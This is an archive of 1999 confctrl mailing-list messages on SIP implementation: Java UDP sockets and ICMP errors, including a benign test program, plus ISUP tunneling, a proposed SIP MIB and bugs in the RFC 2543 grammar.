	for <confctrl@isi.edu>; Tue, 10 Aug 1999 09:04:33 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Tue Aug 10 12:03:58 EDT 1999
Received: from dnrc.bell-labs.com (igorspc.dnrc.bell-labs.com [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA29234;
	Tue, 10 Aug 1999 12:04:28 -0400 (EDT)
Message-ID: <37B04EA2.86DA116F@dnrc.bell-labs.com>
Date: Tue, 10 Aug 1999 12:09:06 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en,ru
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: Java and Connected UDP sockets in SIP
References: <37AF2A1F.267A13ED@cisco.com> <37B00760.61AC3556@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Surprisingly, I found that Blackdown's Linux port of JDK actually throws
an IOException in DatagramSocket.send() if an ICMP error message was
received. It even throws the exception on unconnected sockets! However,
this is the only Java port I've seen that supports this.

---
Igor Slepchin


Anders Kristensen wrote:
> 
> This subject reminds me of a request for enhancement (bordering on being
> a bug report) I registered with Suns Java Developer Connection some time
> ago.
> 
> The problem is that currently in Java there is no way of receiving ICMP
> Port Unreachable messages. This potentially has some highly adverse
> effects on SIP connection setup times so this is kind of a big deal and
> should be a concern for everyone implementing SIP in Java.
> 
> The bug report is at
> 
>   http://developer.java.sun.com/developer/bugParade/bugs/4204320.html
> 
> Sun says bugs and enhancements are fixed according to the number of
> votes they get, so please go and vote for this one!
> 
> I've included the reply I got back from Sun below.
> 
> Cheers,
> Anders
> 
> --
> Anders Kristensen <ak@hplb.hpl.hp.com>,
> http://www-uk.hpl.hp.com/people/ak/
> Hewlett-Packard Labs, Bristol, UK
> 
> Subject: Re: A connected DatagramSocket doesn't throw exception when
> address invalid
> Date: Wed, 20 Jan 1999 08:09:28 -0800
> From: Jeff Nisewanger <jdn@Eng.Sun.COM>
> To: ak@hplb.hpl.hp.com
> CC: jdn@Eng.Sun.COM
> 
> Your bug has been submitted into our internal Bug Tracking
> system. It has been assigned Bug Id: 4204320.
> 
> You make an interesting point. Actually, the connect() method
> was primarily added to reduce the overhead of Java security
> checking which otherwise has to check the destination address
> of each datagram sent. I have forwarded your web bug report
> into our internal bug database as a Request For Enhancement
> rather than as a "bug" report. I will look into whether this 4.3BSD
> connected datagram socket behavior is widely enough supported on
> other likely Java platform network stack implementations that
> we can add this in some way to the semantics of connected
> DatagramSockets.
> Currently, the connect() method is implemented purely in Java and does
> not
> actually perform a connect() method to any underlying Unix datagram
> socket
> that might exist.
> 
> The state of the bug can be monitored via the Java Developer
> Connection, which is now free:
>          http://java.sun.com/jdc.
> 
> You can search for this bug by going to Technical Support,
> and then Technical Support Search.
> 
> It may take a day or two before your bug shows up in this
> external database.
> -------------- Original Bug Report-------------------
> 
> id : 52238
> category : java
> subcategory : classes_net
> type : bug
> synopsis : A connected DatagramSocket doesn't throw exception when
> address invalid
> description : JDK1.2 includes a connect(InetAddress addr, int port) call
> in class
> java.net.DatagramSocket.  This is only really useful for one thing,
> which is to throw an Exception when the VM receives an ICMP error
> message saying that the address was invalid, for example because
> no process was listening on the specified port.
> 
> Quoting from "Unix Network Programming" [Stevens 1990, p271]:
> 
> "...the Internet protocols specify that a host should generate an
> ICMP port unreachable message if it receives a UDP datagram specifying
> a UDP port for which no process is waiting to read from. The host that
> sent the UDP datagram and receives this ICMP message can try to
> identify the process that sent the datagram, and notify the
> process. 4.3BSD, for example, notifies the process with a "connection
> refused" error (ECONNREFUSED) on the next system call for this socket,
> only if the process had connect()'ed the socket to the destination
> address."
> 
> Having this behaviour is essential when implementing certain
> protocols on top of UDP, because relying only on timeouts takes
> too long. The Session Initiation Protocol (SIP) is an example of
> such a protocol.
> 
> The following code generates 5 UDP messages and SHOULD fail with
> an exception on the second send().  I've tested it on NT4.0 with no
> exception being thrown.  This is when the remote address is
> either an NT4.0 or an HP-UX host. It may be the case that NT4
> doesn't generate the ICMP error but I'm assuming that HP-UX does.
> 
> Maybe the problem is that NT4 doesn't pass on those ICMP error
> to the sending process, in which case running the test program
> on a Solaris box should work (ie result in an exception).
> 
> import java.net.*;
> 
> public class UdpConnect {
>     public static void main(String[] args) throws Exception {
>         int port = 7000;
>         String host = "127.0.0.1";
>         int i;
> 
>         for (i = 0; i < args.length; i++) {
>             if ("-p".equals(args[i])) {
>                 port = Integer.parseInt(args[++i]);
>             } else if ("-h".equals(args[i])) {
>                 host = args[++i];
>             }
>         }
>         InetAddress addr = InetAddress.getByName(host);
>         DatagramSocket sock = new DatagramSocket();
>         byte[] buf      = "Hello, server!".getBytes();
>         DatagramPacket p = new DatagramPacket(buf, buf.length, addr,
> port);
>         int nsend       = 0;
> 
>         sock.connect(addr, port);
> 
>         for (i = 0; i < 5; i++) {
>             System.out.print(".");
>             sock.send(p);
>             try {
>                 Thread.currentThread().sleep(1000);
>             } catch (Exception ex) {
>                 // if no server at other end we SHOULD get an
> ECONNREFUSED
>                 // exception here on second send()
>                 ex.printStackTrace(System.err);
>             }
>         }
>     }
> }
> comments : (company - Hewlett-Packard , email - ak@hplb.hpl.hp.com)
> workaround : Rely on retransmissions + timeouts.
> cust_name : Anders Kristensen
> cust_email : ak@hplb.hpl.hp.com
> company : Hewlett-Packard
> release : 1.2fcs
> hardware : x86
> OSversion : win_nt_4.0
> status : Posted
> delReason : New Bug
> priority : 4
> sev_impact : 2
> sev_function : 2
> cust_type : R
> bugtraqID : 0
> dateCreated : 1999-01-07 06:27:02.0
> dateEvaluated : 1999-1-20 8:3:2

From confctrl-owner  Tue Aug 10 11:23:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA03742
	for confctrl-outgoing; Tue, 10 Aug 1999 11:23:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03736
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 11:23:35 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20615
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 11:23:34 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id NAA10681;
	Tue, 10 Aug 1999 13:22:49 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA23816;
	Tue, 10 Aug 1999 13:22:48 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA07447; Tue, 10 Aug 1999 13:22:47 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id NAA08942;
	Tue, 10 Aug 1999 13:22:47 -0500 (CDT)
Date: Tue, 10 Aug 1999 13:22:47 -0500 (CDT)
Message-Id: <199908101822.NAA08942@b04a45.exu.ericsson.se>
To: Anoop_Tripathi@mw.3com.com, jdrosen@dnrc.bell-labs.com
Subject: Re: Is There a SIP MIB Document
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> No; but I think we will need one to go to draft. Volunteers welcome :)
> 
> -Jonathan R.

This is an interesting concept, but I think there may widely divergent
needs in this area. Unless of course you plan on the least common denominator
approach. Specifically, I could imagine different MIBs for a UAC/UAS, proxy,
firewall proxy, gateway, CPL/CGI service node, etc. 

Is there a common understanding of a useful MIB that could fit all of 
these nodes? Are we talking about simple metrics for number of successful/
failed INVITEs, and the like? I am very interested in what other people are
thinking of and would be willing to volunteer to help draft such a document.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Tue Aug 10 12:37:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06860
	for confctrl-outgoing; Tue, 10 Aug 1999 12:37:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06849
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 12:37:05 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29924
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 12:37:04 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id OAA17087
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 14:35:12 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id OAA12595
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 14:35:12 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA11141; Tue, 10 Aug 1999 14:35:11 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id OAA25600;
	Tue, 10 Aug 1999 14:35:10 -0500 (CDT)
Message-Id: <199908101935.OAA25600@b04a24.exu.ericsson.se>
Subject: Re: ISUP tunneling
To: Jorge.Sanchez@ebc.ericsson.se (Sanchez Jorge)
Date: Tue, 10 Aug 1999 14:35:10 -0500 (CDT)
Cc: Adam.Roach@Ericsson.com, confctrl@ISI.EDU
In-Reply-To: <37AA929C.1D907168@ebc.ericsson.se> from "Sanchez Jorge" at Aug 6, 99 09:45:32 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I have a question regarding draft "ISUP parameters expected in SIP
>messages"
><draft-roach-sip-isup-parameters-00.txt>. You describe that ISUP
>messages
>can be expected in a CANCEL or BYE request. I suppose that all messages
>tunneled
>onto SIP are carried in Content-Encoding header field, and this header
>is defined in
>SIP as being not applicable for CANCEL and BYE methods. What am I
>missing here?

Nothing; I overlooked this fact when I put the draft together.
Thanks for pointing this out. I will mention, in future versions
of the draft, that the use of ISUP tunneling for this application
adds the possibility of having Content-Encoding headers on
BYE and CANCEL messages.

Henning, Jonathan, et al: is there a reason the Content-Encoding
was marked as N/A on BYE and CANCEL? Could this be added to 2543
when all the other bugfixes are put in?

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Aug 10 19:56:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA24399
	for confctrl-outgoing; Tue, 10 Aug 1999 19:56:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA24394
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 19:56:25 -0700 (PDT)
Received: from dirty.research.bell-labs.com (z3950.bell-labs.com [204.178.16.6] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA11207
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 19:56:24 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Aug 10 22:54:28 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.94])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA13734;
	Tue, 10 Aug 1999 22:54:47 -0400 (EDT)
Message-ID: <37B0E63F.6F3F1ACB@dnrc.bell-labs.com>
Date: Tue, 10 Aug 1999 22:55:59 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908101935.OAA25600@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Adam B. Roach" wrote:
> 
> >I have a question regarding draft "ISUP parameters expected in SIP
> >messages"
> ><draft-roach-sip-isup-parameters-00.txt>. You describe that ISUP
> >messages
> >can be expected in a CANCEL or BYE request. I suppose that all messages
> >tunneled
> >onto SIP are carried in Content-Encoding header field, and this header
> >is defined in
> >SIP as being not applicable for CANCEL and BYE methods. What am I
> >missing here?
> 
> Nothing; I overlooked this fact when I put the draft together.
> Thanks for pointing this out. I will mention, in future versions
> of the draft, that the use of ISUP tunneling for this application
> adds the possibility of having Content-Encoding headers on
> BYE and CANCEL messages.
> 
> Henning, Jonathan, et al: is there a reason the Content-Encoding
> was marked as N/A on BYE and CANCEL? Could this be added to 2543
> when all the other bugfixes are put in?

The reason was that BYE was not supposed to carry any body.
Content-Length and
Content-Type are similarly not allowed. Clearly, if ISUP tunnelling is
done,
there is a need. I can see there might be other applications. Its easy
enough
to fix.

CANCEL is a different story. Its not end to end; its regenerated at each
proxy.
This means it cannot be protected by end to end authentication or
encryption. 
It can also be originated by proxies, unlike BYE, which cannot. I would
argue
that there never should be a body in a CANCEL. It should not be used to
convey
call information beyond "cancel the search".

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Aug 10 23:20:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA02779
	for confctrl-outgoing; Tue, 10 Aug 1999 23:20:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02774
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 23:20:34 -0700 (PDT)
Received: from www.obsoft.com (root@obsoft.com [209.128.67.121])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA20438
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 23:20:32 -0700 (PDT)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id AAA08761; Wed, 11 Aug 1999 00:16:11 -0500
Message-ID: <37B1071B.B7C09118@obsoft.com>
Date: Wed, 11 Aug 1999 00:16:11 -0500
From: Bobby Sardana <sardana@obsoft.com>
Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: Anoop_Tripathi@mw.3com.com, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Subject: Re: Is There a SIP MIB Document
References: <199908101822.NAA08942@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

Sean Olson wrote:

> >
> > No; but I think we will need one to go to draft. Volunteers welcome :)
> >
> > -Jonathan R.
>
> This is an interesting concept, but I think there may widely divergent
> needs in this area. Unless of course you plan on the least common denominator
> approach. Specifically, I could imagine different MIBs for a UAC/UAS, proxy,
> firewall proxy, gateway, CPL/CGI service node, etc.
>
> Is there a common understanding of a useful MIB that could fit all of
> these nodes? Are we talking about simple metrics for number of successful/
> failed INVITEs, and the like?

For a redirect server, the REGISTER message and its related statistics can
beimportant.

> I am very interested in what other people are
> thinking of and would be willing to volunteer to help draft such a document.

If we are talking MIB-2, then various server platform status messages could be
ofsignificance to a manager to provide platform level support.

Just a thought.

Bobby Sardana.
sardana@obsoft.com

>
>
> -----------------------------------------------------------------
> Sean Olson            E-mail: sean.olson@ericsson.com
> Ericsson Inc.         Voice: (972) 583-5472
>                       FAX: (972) 669-0154




From confctrl-owner  Wed Aug 11 07:21:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17894
	for confctrl-outgoing; Wed, 11 Aug 1999 07:21:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17889
	for <confctrl@zephyr.isi.edu>; Wed, 11 Aug 1999 07:21:38 -0700 (PDT)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04840
	for <confctrl@ISI.EDU>; Wed, 11 Aug 1999 07:21:37 -0700 (PDT)
Received: from cs.columbia.edu (client-151-198-134-2.bellatlantic.net [151.198.134.2])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id KAA29936;
	Wed, 11 Aug 1999 10:20:05 -0400 (EDT)
Message-ID: <37B127E1.BCA0E2CC@cs.columbia.edu>
Date: Wed, 11 Aug 1999 03:36:01 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908101935.OAA25600@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Henning, Jonathan, et al: is there a reason the Content-Encoding
> was marked as N/A on BYE and CANCEL? Could this be added to 2543
> when all the other bugfixes are put in?

Yes, that's one of the bug fixes to be included. I hope to have the
first post-2543 draft ready in a few weeks.



From confctrl-owner  Wed Aug 11 08:26:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20345
	for confctrl-outgoing; Wed, 11 Aug 1999 08:26:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20340
	for <confctrl@zephyr.isi.edu>; Wed, 11 Aug 1999 08:26:49 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08084
	for <confctrl@ISI.EDU>; Wed, 11 Aug 1999 08:26:47 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id KAA05312;
	Wed, 11 Aug 1999 10:26:05 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA19847;
	Wed, 11 Aug 1999 10:26:05 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA24529; Wed, 11 Aug 1999 10:26:03 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA28134;
	Wed, 11 Aug 1999 10:26:02 -0500 (CDT)
Message-Id: <199908111526.KAA28134@b04a24.exu.ericsson.se>
Subject: Re: ISUP tunneling
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Wed, 11 Aug 1999 10:26:01 -0500 (CDT)
Cc: Adam.Roach@ericsson.com, Jorge.Sanchez@ebc.ericsson.se, confctrl@ISI.EDU
In-Reply-To: <37B0E63F.6F3F1ACB@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Aug 10, 99 10:55:59 pm
From: "Adam B. Roach" <Adam.Roach@ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>CANCEL is a different story. Its not end to end; its regenerated at each
>proxy.
>This means it cannot be protected by end to end authentication or
>encryption. 
>It can also be originated by proxies, unlike BYE, which cannot. I would
>argue
>that there never should be a body in a CANCEL. It should not be used to
>convey
>call information beyond "cancel the search".

We had a conversation last week about CANCEL and BYE that really 
cleared some things up for me; however, it's not information that 
I've seen written down anywhere. It may be useful to document 
somewhere that, for example, when a UAC wishes to terminate a session, 
he typically sends a BYE instead of a CANCEL to do so, even if no 
INVITE response has been received yet. (As an aside: doesn't this 
mean you have two pending transactions at the same time? Is that okay?)

More to the point, it seems that the only nodes that would ever have 
an interest in generating a CANCEL is forking proxies.

Section 4.2.5 of RFC2543 implies that there is some utility in the UAC 
generating a CANCEL; perhaps this was part of the original design. 
At any rate, this no longer seems to be the case, so I'd propose 
that 4.2.5 be reworded to reflect current conventional wisdom.

I'll make a note to clean this up in the next draft of "ISUP parameters
expected in SIP messages," unless someone has a counter-argument.
Specifically, I'll remove mention of CANCEL from sections 2.6 and
2.7, and add CANCEL to the list of messages which should not carry
ISUP payloads in section 2.9.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Aug 11 08:41:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA21046
	for confctrl-outgoing; Wed, 11 Aug 1999 08:41:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA21041
	for <confctrl@zephyr.isi.edu>; Wed, 11 Aug 1999 08:41:44 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09056
	for <confctrl@isi.edu>; Wed, 11 Aug 1999 08:41:43 -0700 (PDT)
Received: from ind.cs.columbia.edu (ind.cs.columbia.edu [128.59.19.27])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA13333
	for <confctrl@isi.edu>; Wed, 11 Aug 1999 11:41:42 -0400 (EDT)
Received: (from lennox@localhost)
	by ind.cs.columbia.edu (8.9.1/8.9.1) id LAA26464;
	Wed, 11 Aug 1999 11:41:42 -0400 (EDT)
Date: Wed, 11 Aug 1999 11:41:42 -0400 (EDT)
Message-Id: <199908111541.LAA26464@ind.cs.columbia.edu>
From: Jonathan Lennox <lennox@cs.columbia.edu>
To: confctrl@ISI.EDU
Subject: New mailing list: sip-implementors
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At the second SIP bakeoff, there was agreement that it would be good for SIP
implementors to have a way of contacting each other; interoperability
testing at bakeoffs is certainly useful, but it would also be useful for
implmentors to be able to arrange one-on-one testing of new features at
other times as well.

Accordingly, we've set up a new mailing list,
sip-implementors@cs.columbia.edu, for this purpose.  If you are developing
an implementation of a SIP, and want to be able to contact other
implementors, please subscribe.

This list is not intended to supplant confctrl for discussion of the SIP
specification itself.

This is a majordomo-managed list; to subscribe to it, send mail to
'majordomo@cs.columbia.edu' with 'subscribe sip-implementors' in the body.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Thu Aug 12 01:23:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA26239
	for confctrl-outgoing; Thu, 12 Aug 1999 01:23:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA26234
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 01:23:38 -0700 (PDT)
Received: from vipunen.hut.fi (vipunen-a.hut.fi [130.233.249.7])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA28711
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 01:23:37 -0700 (PDT)
Received: from beta.hut.fi (bhoeneis@beta.hut.fi [130.233.224.51])
	by vipunen.hut.fi (8.9.3/8.9.3) with ESMTP id LAA126272
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 11:23:35 +0300
Date: Thu, 12 Aug 1999 11:23:34 +0300 (EET DST)
From: =?ISO-8859-1?Q?Bernie_H=F6neisen?= <bhoeneis@cc.hut.fi>
To: confctrl@ISI.EDU
Subject: RFC 2543 / bug report
Message-ID: <Pine.OSF.4.10.9908121122510.21784-100000@beta.hut.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I am writing a paser for the SIP protocol and found some problem in
RFC 2543. There is a mismatch between the ABNF spec and the examples:

ABNF:

  Contact = ( "Contact" | "m" ) ":" 
             ("*" | (1# (( name-addr | addr-spec )
             [ *( ";" contact-params ) ] [ comment ] )))

>From the examples, that use contact-params:

Contact: <sip:watson@saturn.bell-tel.com:3890;transport=udp>
Contact: <sip:alice@anywhere.com:5080;maddr=spare.caller.com>

These exemples don't follow the ABNF Spec. the contact-params should be
outside the brackets.

Is this an already known bug?
Is there a bug-list available for RFC 2543 ?
What about a possible bug-list for RFC 2327 ?

Greetings
 Bernie




From confctrl-owner  Thu Aug 12 03:49:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA29452
	for confctrl-outgoing; Thu, 12 Aug 1999 03:49:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29447
	for <confctrl@zephyr.isi.edu>; Thu, 12 Aug 1999 03:49:21 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA02008
	for <confctrl@isi.edu>; Thu, 12 Aug 1999 03:49:06 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id RAA15453;
	Thu, 12 Aug 1999 17:38:17 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567CB.003B7195 ; Thu, 12 Aug 1999 16:19:17 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
cc: =?iso-8859-1?Q?Bernie_H=F6neisen?= <bhoeneis@cc.hut.fi>
Message-ID: <652567CB.003AD1FA.00@sampark.hss.hns.com>
Date: Thu, 12 Aug 1999 16:19:12 +0530
Subject: Re: RFC 2543 / bug report
Mime-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id DAA29448
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This brings me to point out that the enire grammar does not seem to be
complete. When we were writing ours, we noticed quite a few tokens (I think
one was delta-seconds and some others) that did not have an expansion -
although some of them were easily understandable . Also, if I remember
correctly, things like telephone-subscriber etc dont feature on the right
hand side of any production (the RFC mentions it as an example though, if i
remember right)

also for guys who are actually trying to use a lex tool, some hyperlinked
version of the complete grammar would be of great help - I have a nearly
complete linked version (some missing tokens which I did not find are not
linked) - so if anyone wants it for ease of reference, feel free to take it
from me :-) (altho it needs more work ;)

Regds
Arjun




Bernie Höneisen <bhoeneis@cc.hut.fi> on 08/12/99 01:53:34 PM

To:   confctrl@ISI.EDU
cc:
Subject:  RFC 2543 / bug report



Content-type: text/plain; charsetÿ-ascii


Hi,
I am writing a paser for the SIP protocol and found some problem in
RFC 2543. There is a mismatch between the ABNF spec and the examples:
ABNF:
  Contact ÿ "Contact" | "m" ) ":"
             ("*" | (1# (( name-addr | addr-spec )
             [ *( ";" contact-params ) ] [ comment ] )))
>From the examples, that use contact-params:
Contact: <sip:watson@saturn.bell-tel.com:3890;transportýp>
Contact: <sip:alice@anywhere.com:5080;maddrÿare.caller.com>
These exemples don't follow the ABNF Spec. the contact-params should be
outside the brackets.
Is this an already known bug?
Is there a bug-list available for RFC 2543 ?
